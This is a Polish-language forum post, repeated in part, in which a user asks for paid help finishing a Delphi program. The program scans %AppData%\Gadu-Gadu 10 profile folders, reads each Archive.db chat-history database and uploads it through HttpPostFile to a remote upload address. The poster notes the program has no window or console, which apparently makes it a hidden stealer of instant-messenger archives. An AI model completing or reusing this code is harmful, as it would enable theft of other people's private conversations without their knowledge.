Witam serdecznie!
Sam próbuję coś wykombinować od 4godzin (oczywiście za pomocą googli), lecz marne skutki mej pracy.
1. Potrzebuję czegoś, co znajdzie wszystkie katalogi w %AppData%\Gadu-Gadu 10\, lecz wykluczałoby folder "_userdata".
Znalazłem coś interesującego, lecz nie potrafię przerobić na swoje potrzeby (może jest to potrzebne jako funkcja co coś zwraca, nie mam pojęcia:
2. Na koniec w pętli wypisuje te foldery znalezione
Zamiast folderyGG pętla wpisuje katalogi (osobno), które znaleziono w "Gadu-Gadu 10" i wykonuje czynność:
Wysyła plik w tej samej pętli ze znalezionego katalogu
Mój aktualny kod:
Jeśli się ktoś skusi i pomoże, zarobi zależnie od czasu i pomocy włożonej w program (SMS czy jak tam sobie życzy), oczywiście jeśli wszystko będzie grało i śmigało.
Chyba, że pomoc to czysta przyjemność.
Sam próbuję coś wykombinować od 4godzin (oczywiście za pomocą googli), lecz marne skutki mej pracy.
1. Potrzebuję czegoś, co znajdzie wszystkie katalogi w %AppData%\Gadu-Gadu 10\, lecz wykluczałoby folder "_userdata".
Znalazłem coś interesującego, lecz nie potrafię przerobić na swoje potrzeby (może jest to potrzebne jako funkcja co coś zwraca, nie mam pojęcia:
Kod:
var
Finder:TSearchRec;
Found:Integer;
begin
Found:=FindFirst(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\*.*',faDirectory,Finder);
while (Found=0) do // dopóki liczba znalezionych obiektów nie będzie równa zero.
begin
Memo1.Lines.Add(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\*.*'+Finder.Name);
// TEMAT: Nie chce z użyciem memo, ponieważ program nie posiada (konsoli, WinApi, Formy)
Found:=FindNext(Finder); // kontynuacja wyszukiwania
end;
FindClose(Finder); // zakończenie wyszukiwania.
end;
2. Na koniec w pętli wypisuje te foldery znalezione
Kod:
_AppData := GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\' + folderyGG + '\Archive.db';
Wysyła plik w tej samej pętli ze znalezionego katalogu
Kod:
MemStream.LoadFromFile(_AppData);
Mój aktualny kod:
Kod:
if FileExists(GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\12345\Archive.db') then
begin
_AppData := GetSpecialFolderPath(CSIDL_APPDATA) + '\Gadu-Gadu 10\12345\Archive.db';
SL := TStringList.Create;
MemStream := TMemoryStream.Create;
MessageBox(Application.Handle,'Tak ten plik jest!', 'CZY JEST?', MB_OK + MB_ICONEXCLAMATION);
MemStream.LoadFromFile(_AppData);
HttpPostFile(UploadDest, 'plik', 'Archive.db', MemStream, SL);
if Pos('o rozmiarze', SL.Text) > 0 then
MessageBox(Application.Handle,'Plik został wysłany!', 'WYSŁANO', MB_OK + MB_ICONEXCLAMATION);
SL.Free;
MemStream.Free;
end;
Jeśli się ktoś skusi i pomoże, zarobi zależnie od czasu i pomocy włożonej w program (SMS czy jak tam sobie życzy), oczywiście jeśli wszystko będzie grało i śmigało.
Chyba, że pomoc to czysta przyjemność.